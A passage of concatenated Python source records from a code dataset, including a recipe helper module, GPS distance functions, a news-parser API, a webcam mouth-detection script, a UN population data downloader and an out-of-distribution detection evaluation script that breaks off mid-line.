accordingly.\ndef paginate_list(query, page_number, per_page):\n array = [item for item in query]\n paginated_array = array[((page_number*per_page)-per_page):(page_number*per_page)]\n return paginated_array\n\n#This is a function to create a new recipe from user inputs. This cuts down on repetitive \n#code dramatically. It returns an object suitable for insertion in mongodb i.e vars(recipe)\ndef create_recipe():\n recipe = Recipe(request.form['username'].strip(), request.form['recipe_name'].strip().title(), request.form['author'].strip().title(),\n request.form['prep_time'].strip(), request.form['cook_time'].strip(), \n request.form['servings'].strip(),request.form['recipe_description'].strip(),\n request.form['cuisine_name'], request.form['ingredients'].strip(),\n request.form['method'].strip(), request.form.getlist('allergens'), request.form[\"country\"])\n return vars(recipe)\n\n#This is a function to create a new cuisine from user inputs. This cuts down on repetitive \n#code dramatically. \ndef create_cuisine():\n cuisine = Cuisine(request.form['cuisine_name'].title(), request.form['cuisine_description'])\n return vars(cuisine)\n\n#This is a function to create a new allergen from user inputs. This cuts down on repetitive \n#code dramatically. \ndef create_allergen():\n allergen = Allergen(request.form['allergen_name'].title(), request.form['allergen_description'])\n return vars(allergen)\n\n#This is a function to create a new country from user inputs. This cuts down on repetitive \n#code dramatically. \ndef create_country():\n country= Country(request.form[\"country_name\"].title())\n return vars(country)\n \n# Find allergen data for mining and display statistically\ndef get_allergens_data():\n cursor_allergens= mongo.db.recipes.find({}, {'_id':0, \"allergens\":1})\n allergen_list = []\n for i in cursor_allergens:\n for j in (i[\"allergens\"]):\n if j != \"\":\n allergen_list.append([j])\n return allergen_list\n\n# Write allergen data to csv for displaying statistics. \ndef write_allergens_csv_mongo(allergen_list, data_file):\n with open(data_file, \"w+\") as outfile:\n writer = csv.writer(outfile)\n writer.writerow(['allergen_name'])\n for x in allergen_list:\n writer.writerow(x)\n ","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":4565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"28497051","text":"#!/usr/bin/python\nimport math\n\n\n#Convert Coor. to decimal\ndef toDec(a):\n lat = 32 +((a[0]-3200.0)/60)\n lon = 117 + ((a[1]-11700)/60)\n p = [ lat,lon]\n return p;\n\n#lat2 and lon2 can always be the checkmarks\ndef calcBearing(p1, p2):\n dLon = p2[1] - p1[1]\n y = math.sin(dLon) * math.cos(p2[0])\n x = math.cos(p1[0]) * math.sin(p2[0]) \\\n - math.sin(p1[0]) * math.cos(p2[0]) * math.cos(dLon)\n a = math.atan2(y, x)\n r = math.degrees(a)\n bearing = math.fmod((r + 360.0), 360)\n return bearing\n\ndef calcRelBearing(bearing , heading):\n \n rel_bearing = bearing - heading\n if rel_bearing > 180:\n rel_bearing = bearing - (heading + 360)\n elif rel_bearing < -180:\n rel_bearing = bearing - (heading - 360)\n return rel_bearing\n\n\n#lat2 and lon2 can always be the checkmarks\ndef havDistance(dp1 , dp2):\n a1 =(math.atan(math.pow(6356752.3142,2)/math.pow(6378137,2)*math.tan(dp1[0]*math.pi/180)))*180/math.pi\n a2 =(math.atan(math.pow(6356752.3142,2)/math.pow(6378137,2)*math.tan(dp2[0]*math.pi/180)))*180/math.pi\n r1 = math.pow(1/((math.pow(math.cos(a1*math.pi/180),2))/(math.pow(6378137,2))+\n (math.pow(math.sin(a1*math.pi/180),2))/(math.pow(6356752.3142,2))),0.5)\n r2 = math.pow(1/((math.pow(math.cos(a2*math.pi/180),2))/(math.pow(6378137,2))+\n (math.pow(math.sin(a2*math.pi/180),2))/(math.pow(6356752.3142,2))),0.5)\n x1 = r1*math.cos(a1*math.pi/180)\n x2 = r2*math.cos(a2*math.pi/180)\n y1 = r1*math.sin(a1*math.pi/180)\n y2 = r2*math.sin(a2*math.pi/180)\n x = math.hypot((x1-x2),(y1-y2))\n y =2*math.pi*((((x1+x2)/2))/360)*(dp1[1]-dp2[1])\n dm = math.hypot(x ,y)\n df = dm*3.28084\n \n return df\n\n#Finding X - Y Coor in the map\ndef getCoor(p):\n lat = (p[0]-3246) *10000\n lon = (p[1]-11704) *10000\n ax = 0.478969631\n ay = 0.513217847\n alx = 2555.32926\n aly = 6140.918582\n x = 300-(300+(lon-alx)*ax) \n y = (lat-aly)*ay\n coor = [x,y]\n return coor\n\n\n##p1 = [3246.6417,11704.2338]\n##p2 = [3246.6428,11704.2037]\n##dp1 = toDec(p1)\n##dp2 = toDec(p2)\n##distance = havDistance(dp1, dp2)\n##coor = getCoor(p1)\n##\n##print \"p1 To dec:\" , dp1\n##print \"p2 To dec:\" , dp2\n##print \"x,y = \" ,coor\n##print \"distance is: \",distance\n##print \"Bearing is:\",calcBearing(dp2, dp1)\n##print \"rebearing is\",calcRelBearing(99 , 90)\n\n","sub_path":"code/beagleboard/libs/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"219911769","text":"# -*- coding: utf-8 -*-\nimport cherrypy\nimport cherrypy_cors\nimport json\nimport os\nimport requests\n\nfrom urllib.parse import urlparse, urlencode\nfrom newsplease import NewsPlease\n\n\ncherrypy_cors.install()\n\nclass DatetimeEncoder(json.JSONEncoder):\n def default(self, obj):\n try:\n return super(DatetimeEncoder, obj).default(obj)\n except TypeError:\n return str(obj)\n\n\nclass NewsParserAPI(object):\n @cherrypy.expose\n @cherrypy.tools.json_out()\n def default(self, *args, **params):\n response = {}\n\n if 'url' in params:\n article = NewsPlease.from_url(params['url'])\n response = article.get_dict()\n\n response = json.loads(json.dumps(response, cls=DatetimeEncoder))\n\n return response\n\nconfig = {\n 'global': {\n 'server.socket_host': '0.0.0.0',\n 'server.socket_port': int(os.environ.get('PORT', 5000)),\n 'cors.expose.on': True,\n },\n '/assets': {\n 'tools.staticdir.root': os.path.dirname(os.path.abspath(__file__)),\n 'tools.staticdir.on': True,\n 'tools.staticdir.dir': 'assets',\n }\n}\n\ncherrypy.quickstart(NewsParserAPI(), '/', config=config)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"199065826","text":"from kdr import syncthing_factory as factory\n\nimport os\n\nhome_dir = os.path.expanduser('~')\ntest_dir = os.path.join(home_dir, 'kdr_test')\nclient_conf = {\n 'port' : 8389,\n 'sync_home' : os.path.join(test_dir, 'client'),\n 'sync_dir' : os.path.join(test_dir, 'client', 'sync') + '/',\n}\n\nserver_conf = {\n 'port' : 8390,\n 'sync_home' : os.path.join(test_dir, 'server'),\n 'sync_dir' : os.path.join(test_dir, 'server', 'sync') + '/',\n}\n\nif not os.path.exists(client_conf['sync_home']):\n os.makedirs(client_conf['sync_home'])\n\nif not os.path.exists(client_conf['sync_dir']):\n os.makedirs(client_conf['sync_dir'])\n\nif not os.path.exists(server_conf['sync_home']):\n os.makedirs(server_conf['sync_home'])\n\nif not os.path.exists(server_conf['sync_dir']):\n os.makedirs(server_conf['sync_dir'])\n\nclient = factory.get_handler(client_conf['sync_home'])\nserver = factory.get_handler(server_conf['sync_home'])\n\nif not server.ping():\n server.start(server_conf['port'])\n\nif not client.ping():\n client.start(client_conf['port'])\n","sub_path":"tests/mock/adapters.py","file_name":"adapters.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"536924791","text":"def eh_numero(c):\n if c in '0123456789':\n return True\n return False\n\ndef eh_minuscula (c):\n if c in 'abcdefghijklmnopqrstuvwxyz':\n return True\n return False\n\ndef eh_maiuscula(c):\n if c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':\n return True\n return False\n\ndef senha_boa(senha):\n maiuscula = False\n minuscula = False\n numero = False\n tamanho = False\n\n if len(senha) >= 8:\n tamanho = True\n\n for c in senha:\n if eh_maiuscula(c):\n maiuscula = True\n elif eh_minuscula(c):\n minuscula = True\n elif eh_numero(c):\n numero = True\n\n return numero and maiuscula and minuscula and tamanho\n","sub_path":"LP2/Lista_revisão2/senha_boa.py","file_name":"senha_boa.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"278438448","text":"import cv2\nimport requests\nimport json\nfrom time import sleep\n\nif __name__ == '__main__':\n # 定数定義\n ESC_KEY = 27 # Escキー\n INTERVAL= 33 # 待ち時間\n FRAME_RATE = 30 # fps\n ROOM_ID = 0 #ルーム指定\n USER_ID = 1 #ユーザ指定\n USER_NAME = \"riku\" #ユーザ名の指定\n\n ORG_WINDOW_NAME = \"org\"\n #GAUSSIAN_WINDOW_NAME = \"gaussian\"\n\n DEVICE_ID = 0\n\n speaking_counter = 0\n\n # 分類器の指定\n cascade_file = \"haarcascade_frontalface_default.xml\"\n mouse_cascade_file = \"haarcascade_mcs_mouth.xml\"\n cascade = cv2.CascadeClassifier(cascade_file)\n mouse_cascade = cv2.CascadeClassifier(mouse_cascade_file)\n\n # カメラ映像取得\n cap = cv2.VideoCapture(DEVICE_ID)\n\n # 初期フレームの読��\n end_flag, c_frame = cap.read()\n height, width, channels = c_frame.shape\n\n # ウィンドウの準備\n cv2.namedWindow(ORG_WINDOW_NAME)\n #cv2.namedWindow(GAUSSIAN_WINDOW_NAME)\n\n #会議名とユーザ名の取得(json_dict[num]:numの数値でユーザー名の変更)\n headers = {\"content-type\": \"application/json\"}\n # json_str_room = requests.get('http://ec2-13-231-238-116.ap-northeast-1.compute.amazonaws.com:3000/meeting/room', headers=headers)\n # json_dict_room = json_str_room.json()\n # print(json_str_room)\n # json_str_user = requests.get('http://ec2-13-231-238-116.ap-northeast-1.compute.amazonaws.com:3000/users', headers=headers)\n #print(json_str_user)\n # json_dict_user = json_str_user.json()\n\n #起動時にuser_idとuser_nameをサーバに送信\n correct_USER_ID = USER_ID + 1\n # response = requests.post('http://ec2-13-231-238-116.ap-northeast-1.compute.amazonaws.com:3000/users', data={'user_id':correct_USER_ID, 'user_name':USER_NAME})\n\n # 変換処理ループ\n while end_flag == True:\n # 画像の取得と顔の検出\n img = c_frame\n #img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n face_list = cascade.detectMultiScale(img, scaleFactor=1.11, minNeighbors=3, minSize=(100, 100))\n\n #文字の出力(会議名,ユーザ名)\n # cv2.rectangle(img, (0, 0), (350, 280), (255, 255, 255), thickness=-1)\n # cv2.putText(img, \"aaa\", (5,40), cv2.FONT_HERSHEY_COMPLEX, 1.5,(0, 0, 0))\n # cv2.line(img,(2,56),(345,56),(0,0,0),2)\n # cv2.putText(img, '--participant--', (15,95), cv2.FONT_HERSHEY_COMPLEX, 1.0,(0, 0, 0))\n # cv2.putText(img, \"a\", (15,140), cv2.FONT_HERSHEY_COMPLEX, 1.5,(0, 0, 255))\n # cv2.putText(img, \"a\", (15,180), cv2.FONT_HERSHEY_COMPLEX, 1.5,(0, 0, 0))\n # cv2.putText(img, \"a\", (15,220), cv2.FONT_HERSHEY_COMPLEX, 1.5,(0, 0, 0))\n # cv2.putText(img, \"a\", (15,260), cv2.FONT_HERSHEY_COMPLEX, 1.5,(0, 0, 0))\n\n # 検出した顔に印を付ける\n for (x, y, w, h) in face_list:\n color = (0, 0, 225)\n pen_w = 3\n cv2.rectangle(img, (x, y), (x+w, y+h), color, thickness = pen_w)\n\n #検出した口に印をつける\n face_lower = int(h/2)\n mouse_color = img[x:x+w, y+face_lower:y+h]\n mouse_gray = cv2.cvtColor(mouse_color, cv2.COLOR_BGR2GRAY)\n mouse = mouse_cascade.detectMultiScale(mouse_gray, scaleFactor=1.1, minNeighbors=5, minSize=(100, 80))\n for (mx, my, mw, mh) in mouse:\n cv2.rectangle(mouse_color,(mx,my),(mx+mw,my+mh),(0,255,0),2)\n\n # 口だけ切り出して二値化画像を保存\n threshold = 40 #二値化の閾値の設定\n for num, rect in enumerate(mouse):\n x = rect[0]\n y = rect[1]\n width = rect[2]\n height = rect[3]\n dst = mouse_gray[y:y + height, x:x + width]\n #二値化処理\n ret,img_threshold = cv2.threshold(dst,threshold,255,cv2.THRESH_BINARY)\n cv2.imwrite(\"./output/img_threshold.jpg\",img_threshold)\n binary_img = cv2.imread(\"./output/img_threshold.jpg\")\n cnt =0 #黒色領域の数を格納する変数\n for val in binary_img.flat:\n if val == 0:\n cnt += 1\n cv2.waitKey(1)\n\n #二値化画像の黒色領域が何箇所あるかの判断→口が開いていれば黒いろ領域が多くなる=発言している\n if cnt > 600:\n #print(speaking_counter, \"Speaking!!\")\n speaking_counter += 1\n #発言カウンターが5個貯まれば,サーバに秒数の送信\n if speaking_counter == 5:\n print(\"You spoke \", speaking_counter * 0.21, \"second\")\n # response = requests.post('http://ec2-13-231-238-116.ap-northeast-1.compute.amazonaws.com:3000/meeting/speaking', data={'user_id':correct_USER_ID, 'start': speaking_counter * 0.21, 'end': 0, 'room_id':ROOM_ID})\n #response = requests.post('http://requestbin.fullcontact.com/xxex5cxx', data={'user_id':USER_ID, 'start': speaking_counter * 0.21})\n speaking_counter = 0\n else:\n continue\n\n # フレーム表示\n cv2.imshow(ORG_WINDOW_NAME, c_frame)\n #cv2.imshow(GAUSSIAN_WINDOW_NAME, img)\n\n # Escキーで終了\n key = cv2.waitKey(INTERVAL)\n if key == ESC_KEY:\n break\n\n # 次のフレーム読み込み\n end_flag, c_frame = cap.read()\n\n # 終了処理\n cv2.destroyAllWindows()\n cap.release()\n","sub_path":"faceCamera.py","file_name":"faceCamera.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"372701443","text":"from math import *\r\nimport risar, os\r\nfrom random import randint, random\r\nfrom risar import stoj\r\n\r\nstorage = []\r\nvx = []\r\nvy = []\r\nfor a in range(30):\r\n ball = risar.krog(randint(0, 255), randint(0, 255), 10 ,risar.nakljucna_barva(), 5)\r\n storage.append(ball)\r\n vx.append(2+random() * 3)\r\n vy.append(2+random() * 3)\r\n\r\nfor i in range(5000):\r\n for i in range(len(storage)):\r\n ball = storage[i]\r\n ball.setPos(ball.x() + vx[i], ball.y() + vy[i])\r\n if not (0 < ball.x() < risar.maxX - 35):\r\n vx[i] = -vx[i]\r\n if not (0 < ball.y() < risar.maxY - 35):\r\n vy[i] = -vy[i]\r\n risar.cakaj(0.01)","sub_path":"code/batch-2/dn14 - zoge/M-17157-2515.py","file_name":"M-17157-2515.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"542760267","text":"from django.conf.urls import url, include\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='home'),\n url(r'^schedule$', views.schedule, name='schedule'),\n url(r'^createTrip$', views.createTrip, name='createTrip'),\n url(r'^show/(?P\\d+)$', views.show, name='reveal'),\n url(r'^join/(?P\\d+)$', views.join, name='joinTrip')\n]","sub_path":"apps/travelbuddy/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"248085217","text":"# -*- coding: utf-8 -*-\n\nimport concurrent.futures\nimport threading\nimport os.path as osp\nimport pandas as pd\nfrom ddf_utils.factory.common import requests_retry_session\n\nout_dir = '../source/'\nmetadata_file = '../source/metadata.xlsx'\ndownload_url_prefix = 'https://population.un.org/wpp/Download/Files/1_Indicators (Standard)/EXCEL_FILES/'\n\n\nfileNameAndURLMapping = {\n 'POP': '1_Population',\n 'FERT': '2_Fertility',\n 'MORT': '3_MortaLity',\n 'MIGR': '4_Migrantion',\n 'INT': '5_Interpolated'\n}\n\nthread_local = threading.local()\n\ndef get_session():\n if not hasattr(thread_local, \"session\"):\n thread_local.session = requests_retry_session()\n return thread_local.session\n\n\ndef get_url(fname: str):\n for k, v in fileNameAndURLMapping.items():\n if fname.startswith(f'WPP2019_{k}'):\n return download_url_prefix + v + '/' + fname\n print('URL for {} is undefned'.format(fname))\n return None\n\n\ndef download(url):\n session = get_session()\n fname = url.split('/')[-1]\n if osp.exists(osp.join('../source/', fname)):\n return\n res = session.get(url, stream=True)\n res.raise_for_status()\n with open(osp.join(out_dir, fname), 'wb') as f:\n for chunk in res.iter_content(chunk_size=512 * 1024):\n if chunk:\n f.write(chunk)\n f.close()\n print('downloaded: {}'.format(fname))\n\n\ndef main():\n meta = pd.read_excel(metadata_file, sheet_name='New')\n files = meta['file'].tolist()\n urls = [get_url(x) for x in files]\n\n # also add location metadata\n urls.append('https://population.un.org/wpp2019/Download/Files/4_Metadata/WPP2019_F01_LOCATIONS.XLSX')\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\n executor.map(download, urls)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"etl/scripts/update_source.py","file_name":"update_source.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"298024104","text":"import sys\nimport os\nimport numpy as np\n\nimport tensorflow as tf\n\nfrom tensorflow.keras.models import load_model, Model\nfrom keras import metrics\nfrom keras.datasets import cifar10, mnist, fashion_mnist\nimport scipy.io as sio\nfrom sklearn.metrics.pairwise import cosine_similarity, euclidean_distances\nfrom sklearn.metrics import roc_auc_score, roc_curve\nfrom scipy.stats import gaussian_kde\nimport matplotlib.pyplot as plt\nimport pickle\nfrom tqdm import tqdm\nimport seaborn as sns\n\nimport spacial_transformation as tr\nimport argparse\n\n# add args\nparser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('-data', '--data',\n type=str,\n default='mnist',\n help='Dataset: mnist/fmnist/cifar10')\nparser.add_argument('-out', '--out',\n type=str,\n default='svhn',\n help='Dataset: fmnist/mnist/svhn')\nparser.add_argument('-model', '--model',\n type=str,\n default='conv',\n help='Dataset: conv/vgg16/resnet')\nparser.add_argument('-trans', '--trans',\n type=str,\n default='zoom',\n help='Augmentation method. blur/contrast/bright/zoom')\nparser.add_argument('-stage', '--stage', type=str, default='sia', help='stages: sia/quad')\nparser.add_argument('-data_aug', help='use data augmentation', dest='data_aug', type=lambda x: (str(x).lower() in ['true','1', 'yes']), default=True)\nparser.add_argument('-data_aug_adv', help='use data augmentation with adversarial examples', dest='data_aug_adv',\n type=lambda x: (str(x).lower() in ['true','1', 'yes']), default=False)\nparser.add_argument('-is_diff_data', help='use totally different dataset', dest='is_diff_data', type=lambda x: (str(x).lower() in ['true','1', 'yes']),\n default=True)\nparser.add_argument(\"--t_in\", \"-t_in\", help=\"threshold of in-distribution\", type=int, default=95)\nparser.add_argument(\"--t_out\", \"-t_out\", help=\"threshold of out-of-distribution\", type=int, default=98)\nparser.add_argument(\"-gpu\", type=str, default='0')\n\nargs = parser.parse_args()\n\nos.environ['CUDA_VISIBLE_DEVICES'] = args.gpu # set GPU Limits\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=config)\n\nprint(args)\n\n\ndef load_dataset(args):\n x_train_total = y_train_total = x_test_in = y_test_in = x_test_out = y_test_out = num_train = x_train_out = None\n # load original data\n if args.data == \"mnist\" or args.out == \"mnist\":\n if args.data == \"mnist\":\n (x_train_total, y_train_total), (x_test_in, y_test_in) = mnist.load_data()\n num_train = 50000\n x_train_total = x_train_total.reshape(-1, 28, 28, 1).astype(\"float32\")\n x_test_in = x_test_in.reshape(-1, 28, 28, 1).astype(\"float32\")\n else:\n (x_train_out, _), (x_test_out, y_test_out) = mnist.load_data()\n x_test_out = x_test_out.reshape(-1, 28, 28, 1).astype(\"float32\")\n x_train_out = x_train_out.reshape(-1, 28, 28, 1).astype(\"float32\")\n\n if args.data == \"fmnist\" or args.out == \"fmnist\":\n if args.data == \"fmnist\":\n (x_train_total, y_train_total), (x_test_in, y_test_in) = fashion_mnist.load_data()\n num_train = 50000\n x_train_total = x_train_total.reshape(-1, 28, 28, 1).astype(\"float32\")\n x_test_in = x_test_in.reshape(-1, 28, 28, 1).astype(\"float32\")\n else:\n (x_train_out, _), (x_test_out, y_test_out) = fashion_mnist.load_data()\n x_test_out = x_test_out.reshape(-1, 28, 28, 1).astype(\"float32\")\n x_train_out = x_train_out.reshape(-1, 28, 28, 1).astype(\"float32\")\n\n if args.data == \"cifar10\" or args.out == \"cifar10\":\n if args.data == \"cifar10\":\n (x_train_total, y_train_total), (x_test_in, y_test_in) = cifar10.load_data()\n num_train = 40000\n y_train_total = y_train_total.reshape([y_train_total.shape[0]])\n y_test_in = y_test_in.reshape([y_test_in.shape[0]])\n else:\n (x_train_out, _), (x_test_out, y_test_out) = cifar10.load_data()\n y_test_out = y_test_out.reshape([y_test_out.shape[0]])\n\n if args.data == \"svhn\" or args.out == \"svhn\":\n train_images = sio.loadmat('data/svhn/train_32x32.mat')\n test_images = sio.loadmat('data/svhn/test_32x32.mat')\n if args.data == \"svhn\":\n x_train_total, y_train_total = train_images[\"X\"], train_images[\"y\"]\n x_test_in, y_test_in = test_images[\"X\"], test_images[\"y\"]\n x_train_total = np.transpose(x_train_total, (3, 0, 1, 2))\n x_test_in = np.transpose(x_test_in, (3, 0, 1, 2))\n # replace label \"10\" with label \"0\"\n y_train_total[y_train_total == 10] = 0\n y_test_in[y_test_in == 10] = 0\n y_train_total = y_train_total.reshape([y_train_total.shape[0]])\n y_test_in = y_test_in.reshape([y_test_in.shape[0]])\n num_train = 63257\n else:\n x_test_out_all, y_test_out_all = test_images[\"X\"], test_images[\"y\"]\n x_test_out_all = np.transpose(x_test_out_all, (3, 0, 1, 2))\n x_test_out = x_test_out_all[:10000]\n y_test_out_all[y_test_out_all == 10] = 0\n y_test_out_all = y_test_out_all.reshape([y_test_out_all.shape[0]])\n y_test_out = y_test_out_all[:10000]\n x_train_out, _ = train_images[\"X\"], train_images[\"y\"]\n x_train_out = np.transpose(x_train_out, (3, 0, 1, 2))\n\n return x_train_total, y_train_total, x_test_in, y_test_in, x_test_out, y_test_out, num_train, x_train_out\n\n\ndef cal_metric_outlier(tp_idx, fp_idx, in_num, out_num):\n TP = tp_idx.shape[0]\n FP = fp_idx.shape[0]\n FN = out_num - TP\n TN = in_num - FP\n TPR = TP * 1.0 / (TP + FN)\n FPR = FP * 1.0 / (TN + FP)\n TNR = TN * 1.0 / (FP + TN)\n F1 = 2.0 * TP / (2 * TP + FN + FP)\n print(\"TP:{}, FP:{}, TN:{}, FN:{}, TPR:{:.6f}, FPR:{:.6f}, TNR:{:.6f}, F1:{:.6f}\".format(TP, FP, TN, FN, TPR, FPR,\n TNR, F1))\n\n y_true = np.zeros((in_num+out_num))\n y_true[in_num:] += 1\n y_pred = np.zeros((in_num+out_num))\n y_pred[fp_idx] = 1\n y_pred[(tp_idx + in_num)] = 1\n auc = roc_auc_score(y_true, y_pred)\n print(\"AUC score being: \", auc)\n return auc, F1\n\n\ndef calc_dist(x, trains):\n # Calculate distances\n distances = np.empty(shape=(x.shape[0],))\n index = []\n for i in tqdm(range(x.shape[0])):\n dises = np.sqrt(np.sum(np.asarray(x[i] - trains) ** 2, axis=1))\n distance = np.sort(dises)[0]\n index.append(np.argsort(dises)[0])\n distances.put(i, distance)\n\n return distances, index\n\n\ndef eval(args):\n path_name = args.data + \"/\" + args.model\n fileName = \"./tmp/\" + args.stage + \"/\" + path_name + \"/\" + args.trans + \"/\"\n if not args.data_aug:\n fileName = \"./tmp/\" + args.stage + \"_noaug/\" + path_name + \"/\" + args.trans + \"/\"\n if args.data_aug_adv:\n fileName = \"./tmp/\" + args.stage + \"_adv/\" + path_name + \"/\" + args.trans + \"/\"\n dir = os.path.dirname(fileName)\n if not os.path.exists(dir):\n os.makedirs(dir)\n\n save_dir = os.path.join(os.getcwd(), args.stage + '_models')\n if not args.data_aug:\n save_dir = os.path.join(os.getcwd(), args.stage + '_noaug_models')\n if args.data_aug_adv:\n save_dir = os.path.join(os.getcwd(), args.stage + '_adv_models')\n model_name = args.data + '_' + args.model + '.h5'\n filepath = os.path.join(save_dir, model_name)\n model = load_model(filepath, compile=False)\n\n x_train_total, y_train_total, x_test_in, y_test_in, x_test_out, y_test_out, num_train, x_train_out = load_dataset(args)\n\n degrees_train_tot = np.load(\"./data/\" + path_name + \"/degree/\" + args.trans + \"_degrees_train.npy\")\n degrees_test = np.load(\"./data/\" + path_name + \"/degree/\" + args.trans + \"_degrees_test.npy\")\n if args.trans == \"contrast\":\n max_degree = np.percentile(degrees_train_tot[np.where(degrees_train_tot != -1)[0]], 1)\n mean_degree = np.mean(degrees_train_tot[np.where((degrees_train_tot != -1) & (degrees_train_tot != 1))[0]])\n else:\n max_degree = np.percentile(degrees_train_tot, 99)\n mean_degree = np.mean(degrees_train_tot[np.where((degrees_train_tot != -1) & (degrees_train_tot != 0))[0]])\n print(\"max_degree: {}\".format(max_degree))\n print(\"mean_degree: {}\".format(mean_degree))\n\n dispatcher = {'blur': tr.image_blur, \"contrast\": tr.image_contrast, \"bright\": tr.image_brightness, \"zoom\": tr.image_zoom}\n\n x_train_tr = []\n for idx in range(x_train_total.shape[0]):\n if args.trans != \"contrast\" and degrees_train_tot[idx] != -1 and degrees_train_tot[idx] != 0:\n image = dispatcher[args.trans](x_train_total[idx], degrees_train_tot[idx])\n x_train_tr.append(image.astype(np.float))\n elif args.trans == \"contrast\" and degrees_train_tot[idx] != -1 and degrees_train_tot[idx] != 1:\n image = dispatcher[args.trans](x_train_total[idx], degrees_train_tot[idx])\n x_train_tr.append(image.astype(np.float))\n else:\n # image = dispatcher[args.trans](x_train_total[idx], max_degree)\n image = dispatcher[args.trans](x_train_total[idx], mean_degree)\n x_train_tr.append(image.astype(np.float))\n x_train_tr = np.array(x_train_tr)\n if len(x_train_tr.shape) == 3:\n x_train_tr = np.expand_dims(x_train_tr, axis=-1)\n\n x_train_out = []\n for idx in range(x_train_total.shape[0]):\n if args.trans != \"contrast\":\n if degrees_train_tot[idx] != -1 and degrees_train_tot[idx] != 0:\n image = dispatcher[args.trans](x_train_total[idx], degrees_train_tot[idx] + max_degree)\n x_train_out.append(image.astype(np.float))\n else:\n image = dispatcher[args.trans](x_train_total[idx], max_degree * 2)\n x_train_out.append(image.astype(np.float))\n if args.trans == \"contrast\":\n if degrees_train_tot[idx] != -1 and degrees_train_tot[idx] != 1:\n image = dispatcher[args.trans](x_train_total[idx], degrees_train_tot[idx] / 10.0)\n x_train_out.append(image.astype(np.float))\n else:\n image = dispatcher[args.trans](x_train_total[idx], max_degree / 10.0)\n x_train_out.append(image.astype(np.float))\n x_train_out = np.array(x_train_out)\n if len(x_train_out.shape) == 3:\n x_train_out = np.expand_dims(x_train_out, axis=-1)\n\n x_test_tr = []\n for idx in range(x_test_in.shape[0]):\n if args.trans != \"contrast\" and degrees_test[idx] != -1 and degrees_test[idx] != 0:\n image = dispatcher[args.trans](x_test_in[idx], degrees_test[idx])\n x_test_tr.append(image.astype(np.float))\n elif args.trans == \"contrast\" and degrees_test[idx] != -1 and degrees_test[idx] != 1:\n image = dispatcher[args.trans](x_test_in[idx], degrees_test[idx])\n x_test_tr.append(image.astype(np.float))\n else:\n # image = dispatcher[args.trans](x_test_in[idx], max_degree)\n image = dispatcher[args.trans](x_test_in[idx], mean_degree)\n x_test_tr.append(image.astype(np.float))\n x_test_tr = np.array(x_test_tr)\n if len(x_test_tr.shape) == 3:\n x_test_tr = np.expand_dims(x_test_tr, axis=-1)\n np.save(\"./data/\" + path_name + \"/degree/\" + args.trans + \"_test.npy\", x_test_tr)\n\n if args.is_diff_data:\n if x_test_out.shape[1] != x_test_in.shape[1]:\n x_test_out = np.resize(x_test_out, x_test_in.shape)\n else:\n x_test_out = []\n for idx in range(x_test_in.shape[0]):\n if args.trans != \"contrast\":\n if degrees_test[idx] != -1 and degrees_test[idx] != 0:\n image = dispatcher[args.trans](x_test_in[idx], degrees_test[idx] + max_degree)\n x_test_out.append(image.astype(np.float))\n else:\n image = dispatcher[args.trans](x_test_in[idx], max_degree * 2)\n x_test_out.append(image.astype(np.float))\n if args.trans == \"contrast\":\n if degrees_test[idx] != -1 and degrees_test[idx] != 1:\n image = dispatcher[args.trans](x_test_in[idx], degrees_test[idx] / 10.0)\n x_test_out.append(image.astype(np.float))\n else:\n image = dispatcher[args.trans](x_test_in[idx], max_degree / 10.0)\n x_test_out.append(image.astype(np.float))\n x_test_out = np.array(x_test_out)\n if len(x_test_out.shape) == 3:\n x_test_out = np.expand_dims(x_test_out, axis=-1)\n np.save(\"./data/\" + path_name + \"/degree/\" + args.trans + \"_out_test.npy\", x_test_out)\n\n\n x_train_total = x_train_total / 255.0\n x_train_tr = x_train_tr / 255.0\n x_train_out = x_train_out / 255.0\n x_test_in = x_test_in / 255.0\n x_test_tr = x_test_tr / 255.0\n x_test_out = x_test_out / 255.0\n\n x_train = x_train_total[:num_train]\n x_valid = x_train_total[num_train:]\n y_train = y_train_total[:num_train]\n y_valid = y_train_total[num_train:]\n\n anchor_images = x_test_in\n positive_images = x_test_tr\n negative_images = x_test_out\n\n test_embeddings = model.predict([anchor_images, positive_images, negative_images])\n embedding_dim = int(test_embeddings.shape[1] / 3)\n anchor_embed = test_embeddings.T[:embedding_dim].T\n positive_embed = test_embeddings.T[embedding_dim:2*embedding_dim].T\n negative_embed = test_embeddings.T[2*embedding_dim:].T\n\n test_in_embed = anchor_embed\n test_tr_embed = positive_embed\n test_out_embed = negative_embed\n\n train_embeddings = model.predict([x_train_total, x_train_tr, x_train_out])\n train_embed = train_embeddings.T[:embedding_dim].T[:num_train]\n valid_embed = train_embeddings.T[:embedding_dim].T[num_train:]\n train_tr_embed = train_embeddings.T[embedding_dim:2*embedding_dim].T[:num_train]\n 